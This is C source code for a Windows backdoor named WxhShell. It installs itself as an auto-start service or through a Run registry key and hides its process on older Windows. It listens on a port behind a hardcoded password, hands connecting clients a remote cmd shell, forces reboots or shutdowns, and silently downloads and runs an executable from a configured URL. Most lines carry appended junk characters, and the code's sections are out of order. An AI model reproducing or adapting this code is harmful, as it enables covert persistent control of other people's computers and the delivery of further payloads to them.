  case 'd': { 3XUie;*`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z+FhI^  
    if(Boot(SHUTDOWN)) Fdx4jc13w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,nniSG((3  
    else { ?Bd6<F -G  
    closesocket(wsh); 9.Sv"=5gz  
    ExitThread(0); /E Z -  
    } a{}8030S  
    break; BL\H@D  
    } QA~Lm  
  // 获取shell wI[J>9Qn  
  case 's': { z Hl+P*)  
    CmdShell(wsh); mP +H C)2  
    closesocket(wsh); 5*y6{7FLp  
    ExitThread(0); A{Y/eG8  
    break; Ht~YSQ~:y  
  } A(JgAV1{  
  // 退出 Qer}eg`R  
  case 'x': { gp^xl>E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SXV f&8  
    CloseIt(wsh); =d JRBl  
    break; ~y:?w(GD  
    } 1=jwJv.^/  
  // 离开 (%]M a  
  case 'q': { ~ #P` 7G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cMAY8$  
    closesocket(wsh); =A/$[POr  
    WSACleanup(); PW*[(VX  
    exit(1); pG$l   
    break; %cq8%RT  
        } 5pxw[c53#  
  } 6#2E {uy;R  
  } /8>we`4  
P#2#i]-  
  // 提示信息 Rap_1o9#\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )5s-"o<  
} T FK#ign  
  } HhUk9 >7  
^F+7@*u  
  return; Qy'-3GB  
} chU,));F  
3hR3)(+1  
// shell模块句柄 04!akPP<  
int CmdShell(SOCKET sock) +tv"j;z  
{ SiT5QJe  
STARTUPINFO si; ].x`Fq3  
ZeroMemory(&si,sizeof(si)); q{Gf@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IOH6h=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /| [%~`?BM  
PROCESS_INFORMATION ProcessInfo; tfd!;`B  
char cmdline[]="cmd"; 212  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +?C7(-U>  
  return 0; 8wzQr2:  
} 5S%#3YHY2  
}vX/55  
// 自身启动模式 7pZd?-6M^  
int StartFromService(void) g;</|Z  
{ 9Qc=D"'  
typedef struct 'n "n;  
{ m/1;os5+8  
  DWORD ExitStatus; 22v= A6 =  
  DWORD PebBaseAddress; !MD uj  
  DWORD AffinityMask; l|  QQ  
  DWORD BasePriority; PA${<wyBR_  
  ULONG UniqueProcessId; +C`zI~8  
  ULONG InheritedFromUniqueProcessId; ID$%4jl  
}   PROCESS_BASIC_INFORMATION; 6w $pL(  
j:J7  
PROCNTQSIP NtQueryInformationProcess; e\H1IR3  
YR0.m%U,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x`zE#sD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; axiP~t2  
jsIT{a*]  
  HANDLE             hProcess; SHUn<+/e  
  PROCESS_BASIC_INFORMATION pbi; jRSY`MU}t+  
zFO#oW,D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]*yUb-xY  
  if(NULL == hInst ) return 0; j{H,{x  
 u~j&g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aumM\rY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1H7 bPl|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 690;\O '  
:3By7BZgj  
  if (!NtQueryInformationProcess) return 0; K}Rq<z W  
iVf8M$!m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9':MD0P/M  
  if(!hProcess) return 0; #~;:i  
4[f>kY%[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }FT8 [m<  
]dQ  
  CloseHandle(hProcess); -jL10~/  
PRyzUG&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xSZ+6R|  
if(hProcess==NULL) return 0; ?H(']3X5@  
=s h]H$  
HMODULE hMod; d<afO?"  
char procName[255]; ynG@/S6)K  
unsigned long cbNeeded; Mp`i@pm+  
[[vbw)u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fk?(mxx"  
!1Z rS  
  CloseHandle(hProcess); B-EDVMu  
s %S; 9 T  
if(strstr(procName,"services")) return 1; // 以服务启动 'jd fUB  
C;oT0(  
  return 0; // 注册表启动 'n4 iW  
} GF^ ?#Jh  
qZDP-  
// 主模块 dp#'~[j  
int StartWxhshell(LPSTR lpCmdLine) Lsz)\yIPj  
{ J nf@u  
  SOCKET wsl; n*vhCeL  
BOOL val=TRUE; dpI! {'"M  
  int port=0; SW*Y u{  
  struct sockaddr_in door; Y|N.R(sAs&  
p& +w  
  if(wscfg.ws_autoins) Install(); Tn(c%ytN  
($*R>*6<x  
port=atoi(lpCmdLine); VW *d*!  
n~G-X  
if(port<=0) port=wscfg.ws_port; A&($X)t  
Qwu~ {tf+'  
  WSADATA data; guWX$C-+1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _16IP  
'"o&BmF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   56^#x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !Di*y$`}b  
  door.sin_family = AF_INET; s!F` 0=J^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2]f?c%)I  
  door.sin_port = htons(port); EiWsVic[  
; `-@L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k<!xOg  
closesocket(wsl); -@yu 9=DT  
return 1; n>:|K0u"  
} 29AWg(9?aS  
LKe ~  
  if(listen(wsl,2) == INVALID_SOCKET) { t {RdqAF  
closesocket(wsl); =6LF_=}  
return 1; $g!~T!p=  
} !w=6>B^  
  Wxhshell(wsl); y9)Rl)7-:  
  WSACleanup(); ':LV"c4 t  
a  C<  
return 0; <c$K3  
Q=Y1kcTOn  
} UfAN)SE"  
Mg76v<mv<  
// 以NT服务方式启动 ?wYvBFRn7"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K1*]6x,  
{ 3lD1G~  
DWORD   status = 0; :~{x'`czJ  
  DWORD   specificError = 0xfffffff; :ZP`Y%dt'  
^TCgSi7k`L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qJPEq%'Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U CF'%R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z]O,Vqpl?  
  serviceStatus.dwWin32ExitCode     = 0; QpC,komLJ  
  serviceStatus.dwServiceSpecificExitCode = 0; .cA'6J"Bm\  
  serviceStatus.dwCheckPoint       = 0; :bV1M5  
  serviceStatus.dwWaitHint       = 0; DQRr(r~2Kj  
>xJh!w<pB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w,v~  
  if (hServiceStatusHandle==0) return; 9$oU6#U,h  
1feS/l$  
status = GetLastError(); I-?Dil3  
  if (status!=NO_ERROR) Jt}0%C3d  
{ &S|%>C{P.w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hAv.rjhw_  
    serviceStatus.dwCheckPoint       = 0; _k2*2db   
    serviceStatus.dwWaitHint       = 0; nFY6K%[  
    serviceStatus.dwWin32ExitCode     = status; $wx)/t<  
    serviceStatus.dwServiceSpecificExitCode = specificError; /WWD;keP5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Mq-4U.e  
    return; q=(.N>%  
  } 5<?s86GHh'  
kz+OUA@~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;&v~tD7  
  serviceStatus.dwCheckPoint       = 0; ri?>@i-9=  
  serviceStatus.dwWaitHint       = 0; uy^vQ/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "ZU CYYre  
} /,m!S RJ  
ui$JQ_P  
// 处理NT服务事件,比如:启动、停止 ?YTngIa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H^N 5yOj/  
{ j9G1  _  
switch(fdwControl) a2tRmil  
{ :`w'}h7m  
case SERVICE_CONTROL_STOP: lyYi2& %  
  serviceStatus.dwWin32ExitCode = 0; eH9Ofhsry  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /<WK2G  
  serviceStatus.dwCheckPoint   = 0; b ?-VZA:  
  serviceStatus.dwWaitHint     = 0; Q4vl  
  { FJl_2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }u aRS9d  
  } 8kwe._&)  
  return; Bw;LGEHi|  
case SERVICE_CONTROL_PAUSE: /:],bNb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oPPxja g\  
  break; |0e7<[  
case SERVICE_CONTROL_CONTINUE: :xz,PeXo7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gZLzE*NZ  
  break; 5o&noRIIr  
case SERVICE_CONTROL_INTERROGATE: jx7b$x]  
  break; 1>"[b8a/  
}; 2y0J~P!I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,m)k;co^  
} sKK*{+,kh;  
tB i16=  
// 标准应用程序主函数 R&`; C<6}D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7eyVm;LQD  
{ 6~@S,i1  
fi.[a8w:W  
// 获取操作系统版本 QSxR@hC  
OsIsNt=GetOsVer(); /\0 rRT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WK<:(vu.  
6pCQP c*A  
  // 从命令行安装 tin5.N)"z  
  if(strpbrk(lpCmdLine,"iI")) Install(); ra4$/@3n  
7\?0d!  
  // 下载执行文件 IW<nfg  
if(wscfg.ws_downexe) { BlrZ<\-/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yK3b^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6|-V{  
} hhU: nw  
s.p4+K J  
if(!OsIsNt) { qQ%RnD9  
// 如果时win9x,隐藏进程并且设置为注册表启动 D%+cf  
HideProc(); i 6@c@n  
StartWxhshell(lpCmdLine); x  #Um`  
} Pzl2X@{%  
else 8 o SNnT  
  if(StartFromService()) \(db1zmS~  
  // 以服务方式启动 xR`W9Z5  
  StartServiceCtrlDispatcher(DispatchTable); v3ky;~ke  
else OdrnPo{  
  // 普通方式启动 ;`f14Fb  
  StartWxhshell(lpCmdLine); i6Kcj  
\=yWJ  
return 0; [7btoo|P]  
} */7+pk(  
Tt.#O~2:9  
Zr%,F[j?  
<V~B8C!)  
=========================================== oY K(=j  
~Gz b^  
8NJxtT~0c~  
&I|\AG"X}  
'wg>=|Q5  
"^UJC-  
" FZ0wtS2  
ruKm_j#J  
#include <stdio.h> +=:*[JEK,U  
#include <string.h> pp2,d`01[L  
#include <windows.h> R iPxz=kr  
#include <winsock2.h> !)1gGXRY  
#include <winsvc.h> M:9 6QM~  
#include <urlmon.h> R|&Rq(ow"  
'[z529HN  
#pragma comment (lib, "Ws2_32.lib") Q/[g|"  
#pragma comment (lib, "urlmon.lib") R'udC}  
@|jLw($Ly  
#define MAX_USER   100 // 最大客户端连接数 PXRkK63  
#define BUF_SOCK   200 // sock buffer a At<36{?  
#define KEY_BUFF   255 // 输入 buffer )#H&lH  
T.}wcQf&*  
#define REBOOT     0   // 重启 e@ mjh,  
#define SHUTDOWN   1   // 关机 *:+&Sx L  
X^td`}F/=V  
#define DEF_PORT   5000 // 监听端口 ^]cl:m=*  
=,])xzG%  
#define REG_LEN     16   // 注册表键长度 T{"[Ih3Mbl  
#define SVC_LEN     80   // NT服务名长度 KqD]GS#(  
Oe/&Ryj=mm  
// 从dll定义API hT0[O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <*/IV<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %wDE+&M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >STAPrBp+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zarxv| }$  
JoCZ{MhM  
// wxhshell配置信息 KmYSYNr@,  
struct WSCFG { v/m} {&K  
  int ws_port;         // 监听端口 )9]DJ!]&Q"  
  char ws_passstr[REG_LEN]; // 口令 .S{FEV  
  int ws_autoins;       // 安装标记, 1=yes 0=no QCD MRh n  
  char ws_regname[REG_LEN]; // 注册表键名 J_|LG rt})  
  char ws_svcname[REG_LEN]; // 服务名 F+m%PVW:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n`Y"b&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0|J]EsPxu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "?X,);5S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A5\00O~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X9-WU\?UC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nqFJNK]a  
){I0  
}; W0 n?S "  
@CTSvTt$  
// default Wxhshell configuration 6/5Xy69:h  
struct WSCFG wscfg={DEF_PORT, Z0'&@P$  
    "xuhuanlingzhe", lA/.4"nN  
    1, 0aRHXc2<  
    "Wxhshell", LJc"T)>$`  
    "Wxhshell", rsaN<6#_^Q  
            "WxhShell Service", sy]hMGH:3W  
    "Wrsky Windows CmdShell Service", x_+-TC4IXn  
    "Please Input Your Password: ", 1o8C4?T&  
  1, Ov-Y.+L:  
  "http://www.wrsky.com/wxhshell.exe", Hh1]\4D,4  
  "Wxhshell.exe" F<+!28&h  
    }; [X%Wg:K  
Z^[ ]s1iP}  
// 消息定义模块 Im g$D*BM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  Nt w?~%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z|$M,?r'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WR<?_X_  
char *msg_ws_ext="\n\rExit."; ?]AF? 0/  
char *msg_ws_end="\n\rQuit."; gr^T L1(  
char *msg_ws_boot="\n\rReboot..."; JE *d-  
char *msg_ws_poff="\n\rShutdown..."; bl3?C  
char *msg_ws_down="\n\rSave to "; $ o }  
MtD0e@  
char *msg_ws_err="\n\rErr!"; DuMzK%  
char *msg_ws_ok="\n\rOK!"; (k^o[HF  
,6 IKkyD  
char ExeFile[MAX_PATH]; @dyh: 2!  
int nUser = 0; cFZcBiw  
HANDLE handles[MAX_USER]; *8I"7'xh  
int OsIsNt; 'nT#c[x[0  
QG=K^g  
SERVICE_STATUS       serviceStatus; YctWSfh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SYd6D@^2j  
xjy(f~'  
// 函数声明 8-PHW,1@a3  
int Install(void); W;T 5[  
int Uninstall(void); Ntt*}|:QV<  
int DownloadFile(char *sURL, SOCKET wsh); w$DHMpW'  
int Boot(int flag); t }YT+S  
void HideProc(void); &e6!/y&  
int GetOsVer(void); <5 }  
int Wxhshell(SOCKET wsl); vk4Q2P  
void TalkWithClient(void *cs); q"e]\Tb=we  
int CmdShell(SOCKET sock); $3 =S\jyfK  
int StartFromService(void); ZYS]Et[Q  
int StartWxhshell(LPSTR lpCmdLine); c[>xM3=e^q  
H:F'5Zt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %6W%-`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {[)n<.n[g  
vB%os Qm  
// 数据结构和表定义 +,1 Ea )  
SERVICE_TABLE_ENTRY DispatchTable[] = 1N}vz(0"  
{ eBWgAf.k  
{wscfg.ws_svcname, NTServiceMain}, 4q"4N2  
{NULL, NULL} <Ej`zGhWz  
}; 4D}hYk$eP0  
x']Fe7nv  
// 自我安装 Gsu?m  
int Install(void) #\8"d  
{ k2O3{xIjc  
  char svExeFile[MAX_PATH]; 4l`[,BJ  
  HKEY key; =/!RQQ|8o  
  strcpy(svExeFile,ExeFile); aH?+^f"D  
>r3SF3XMq  
// 如果是win9x系统,修改注册表设为自启动  b]gVZ-  
if(!OsIsNt) { RcC5_@W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \^1S:z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hXh nJ  
  RegCloseKey(key); Ae[fW97  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SLW|)Q24  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {2)).g  
  RegCloseKey(key); h343$,))u  
  return 0; 2FcNzAaV  
    } brX[-  
  } \(MI DCZ@-  
} ^ -4~pDv^  
else { Q2!5  
A5T&i]  
// 如果是NT以上系统,安装为系统服务 MD^,"!A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5eiKMKW[  
if (schSCManager!=0) M@z_tR'3\  
{ .JOZ2QWm<  
  SC_HANDLE schService = CreateService "~mY4WVG  
  ( a4[t3U  
  schSCManager, Q5b9q$L$  
  wscfg.ws_svcname, ;0U*N& f  
  wscfg.ws_svcdisp, HbRvU}C1  
  SERVICE_ALL_ACCESS, 4.p:$/GTS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f`)*bx  
  SERVICE_AUTO_START, Wu"1M^a  
  SERVICE_ERROR_NORMAL, 15S&,$ 1&  
  svExeFile, y 2)W"PuG  
  NULL, 6e8 gFQ"w2  
  NULL, f92z/5%V  
  NULL, TlowEh8r  
  NULL, &1Cs'  
  NULL ,+ 5:}hR+  
  ); d'"|Qg_'  
  if (schService!=0) F{4v[WP)  
  { $A`m8?bY  
  CloseServiceHandle(schService); dVUe!S`  
  CloseServiceHandle(schSCManager); W4,'?o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ('{aOiSH  
  strcat(svExeFile,wscfg.ws_svcname); _, E/HAX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PXyv);#Q`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ze[,0Y!u&  
  RegCloseKey(key); ?;y-skh  
  return 0; >C19Kie72  
    } ]}kw'&  
  } ap8q`a{j^  
  CloseServiceHandle(schSCManager); 8{i O#C  
} K iEmvC  
} d@p#{ -  
Wb>;L@jB7  
return 1; 1_b*j-j  
} :}yT?LIyP  
Af\  
// 自我卸载 Vm[F~2+HX  
int Uninstall(void) 1Au+X3   
{ Xo:Mar  
  HKEY key; 2e-`V5{)b  
OIJT~Z}  
if(!OsIsNt) { v$D U q+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x5CMP%}d  
  RegDeleteValue(key,wscfg.ws_regname); ?% [~J  
  RegCloseKey(key); r ^\(M {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "X^<g{]  
  RegDeleteValue(key,wscfg.ws_regname); fZj,Q#}D  
  RegCloseKey(key); S43JaSw)  
  return 0; O ,9^R  
  } [}M!ez  
} q-+:1E  
} Rpv[rvK'  
else { 0-[naGz  
S@Rd>4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0QT:@v2R  
if (schSCManager!=0) Fuzb4Df  
{ \+#EO%sN1%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /`l;u 7RD  
  if (schService!=0) }W'4(V;:  
  { ,<* I5:  
  if(DeleteService(schService)!=0) { n0!2-Q5U)h  
  CloseServiceHandle(schService); f9 \$,7F  
  CloseServiceHandle(schSCManager); YrJUs]A  
  return 0; !:m.-TE  
  } aG83@ABx  
  CloseServiceHandle(schService); "a= Hr4C*r  
  } "p*'HQ  
  CloseServiceHandle(schSCManager); tfN[-3)Z  
} @ ?M\[qeF@  
} Scx!h.\5  
'Y#'ozSQv  
return 1; m$_b\^we  
} J_ h.7V  
v2E<~/|  
// 从指定url下载文件 -iS^VzI|I  
int DownloadFile(char *sURL, SOCKET wsh) tj'~RQvO  
{ \yu7,v  
  HRESULT hr; 1C8xJ6F  
char seps[]= "/"; n."n?C'{  
char *token; vUVFW'-  
char *file; y^,QM[&  
char myURL[MAX_PATH]; '.1P\>x!]  
char myFILE[MAX_PATH]; QM#Vl19>j(  
IJ&Lk=2E]  
strcpy(myURL,sURL); 4U\}"Mk  
  token=strtok(myURL,seps);  =aZ d>{Y  
  while(token!=NULL) X!qK[b@Z  
  { CNefk$/cR  
    file=token; ^S 3G%{"  
  token=strtok(NULL,seps); KCW2 UyE]  
  } Q(]m1\a  
**L&I5Hhm  
GetCurrentDirectory(MAX_PATH,myFILE); p X{wEc6}  
strcat(myFILE, "\\"); jwT` Z  
strcat(myFILE, file); ewU*5|*[  
  send(wsh,myFILE,strlen(myFILE),0); W06#|8,{v  
send(wsh,"...",3,0); Zs />_w}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YD'gyP4  
  if(hr==S_OK) XQ]vJQYIR  
return 0; Q $}#&  
else \0x>#ygX  
return 1; XZb=;tYo  
o6px1C:  
} @T~XwJ~  
y\Aa;pL)RQ  
// 系统电源模块 Tc/^h 4xH  
int Boot(int flag) u"=]cBRWL6  
{ j*<J&/luYZ  
  HANDLE hToken; <7VLUk}  
  TOKEN_PRIVILEGES tkp; xeSch?}  
W|m(Jh[w]  
  if(OsIsNt) { 46}U +>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AQUAQZc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BV B2$&eJ  
    tkp.PrivilegeCount = 1; Q-'j131[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J)>DsQ+Cj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SjB"#E)  
if(flag==REBOOT) { \jwG*a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jg;[k  
  return 0; a]u.Uqyx2w  
} q4[}b-fF  
else { UeO/<ml3>J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {&,p<5o  
  return 0; j|[rT^b@  
} 9?H$0xZV  
  } SYY x>1;8`  
  else { ^)~Smj^d  
if(flag==REBOOT) { Wp>t\S~N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'vd&r@N  
  return 0; |@u2/U9  
} O~*i_t*i9{  
else { rJpr;QKf%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6}TunR  
  return 0; y>y2,x+[  
} ?Ts]zO%%Z  
} Gk*u^J(  
uaF-3  
return 1; oZiW4z*Wh  
} k~8-E u1  
ik(Du/  
// win9x进程隐藏模块 hn8xs5vN  
void HideProc(void) -lhIL}mGf  
{ k sv]  
x vs=T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .jCGtR )%  
  if ( hKernel != NULL ) X[o+Y@bc  
  { !0,q[|m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wlhh0uy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T]De{nHu  
    FreeLibrary(hKernel); SA +d4P_T  
  } +c))fPuV  
e"t0 rScA  
return; OJcS%-~  
} $pES>>P  
 `Eh>E,  
// 获取操作系统版本 Wk0E7Pr  
int GetOsVer(void) !i;6!w  
{ ;d6Dm)/(  
  OSVERSIONINFO winfo; 8gP1]xD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]3O&8,  
  GetVersionEx(&winfo); /*qRbN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mk}T  
  return 1; y(J~:"}7)  
  else ^/ "}_bR  
  return 0; nqo{]fn  
} ='h2z"}\Bn  
NfvPE]S  
// 客户端句柄模块 !q2zuxq!R  
int Wxhshell(SOCKET wsl) D.a>i?W  
{ Q/S ^-&~  
  SOCKET wsh; -{\(s=%  
  struct sockaddr_in client; #%"G[B  
  DWORD myID; Zk=,`sBC  
iwK.*07+  
  while(nUser<MAX_USER) <gF]9%2E  
{ k_7m[o  
  int nSize=sizeof(client); ;7P '>j1?U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )dkU4]  
  if(wsh==INVALID_SOCKET) return 1; VmqJMU>.  
qdix@ @  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Te-p0x?G.  
if(handles[nUser]==0) n5$#M  
  closesocket(wsh); /3ohm|!rW  
else hTtn /j  
  nUser++; h^\vk!Q-d  
  } ,.<mj !YE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OIP]9lM$nC  
A<+Dx  
  return 0; z%D7x5!,R  
} KoERg&fY  
pp@ Owpb  
// 关闭 socket V'i-pn2gyu  
void CloseIt(SOCKET wsh) '#+&?6p  
{ 0vv~G\yM  
closesocket(wsh); 0nb%+],pX  
nUser--; TF8#I28AD  
ExitThread(0); ^p3 GT6  
} iJzBd7  
WWunS|B!  
// 客户端请求句柄 `dZ|Ko%k  
void TalkWithClient(void *cs) .TGw+E1k  
{ h$02#(RHJ  
)=5 &Q  
  SOCKET wsh=(SOCKET)cs; Pu3oQDldV  
  char pwd[SVC_LEN]; [~9UsHfH  
  char cmd[KEY_BUFF]; O52 /fGt  
char chr[1]; x"b'Pmw  
int i,j; DG;7+2U  
C8-7XQ=B:b  
  while (nUser < MAX_USER) { <w9~T TS  
M6g8+sio  
if(wscfg.ws_passstr) { wEjinP$2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y}ogwg&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jri"#H  
  //ZeroMemory(pwd,KEY_BUFF); !eF(WbU0  
      i=0; a:cci?cb  
  while(i<SVC_LEN) { J'%i?cuV  
9nG^_.}|  
  // 设置超时 hP"2X"kz&  
  fd_set FdRead; {:1j>4m 2  
  struct timeval TimeOut; , #)d  
  FD_ZERO(&FdRead); Lk(ESV;r  
  FD_SET(wsh,&FdRead); 8c9HJ9vk  
  TimeOut.tv_sec=8; ~+Gh{,f  
  TimeOut.tv_usec=0; WE) *~5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +hN>Q $E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c~ R'`Q  
RDdnOzx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ev7.!  
  pwd=chr[0]; al2lC#Sy  
  if(chr[0]==0xd || chr[0]==0xa) { Y ^+x<  
  pwd=0; U,#~9  
  break; 2z-Nw <bA  
  } w/6X9d  
  i++; {'IO  
    } Bv<gVt  
%,@pV%2  
  // 如果是非法用户,关闭 socket _*o <<C\E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xz^nm\  
} =~;~hZj  
.a@12J(I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V%8(zt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mUg :<.^  
^%7(  
while(1) { \Bo$ 3  
wK(]E%\  
  ZeroMemory(cmd,KEY_BUFF);  V9) /  
'n'>+W:  
      // 自动支持客户端 telnet标准   ^-"Iw y  
  j=0; "9caoPI0~  
  while(j<KEY_BUFF) { AT&K>NG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vG_R( ]d  
  cmd[j]=chr[0]; aC,adNub  
  if(chr[0]==0xa || chr[0]==0xd) { Skt-5S#  
  cmd[j]=0; _LaG%* R6  
  break; 3x;UAi+&  
  } cUR :a @  
  j++; ~(R=3  
    } 5 bI :xL}  
K%J?'-  
  // 下载文件 -.h)CM@L  
  if(strstr(cmd,"http://")) {  vD#U+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (=!At)O  
  if(DownloadFile(cmd,wsh)) {[!<yUJ`S#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,`HweIq(  
  else R #wZW&N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YmC}q20;  
  } J+P<zC  
  else { <wS J K  
=Kkqk  
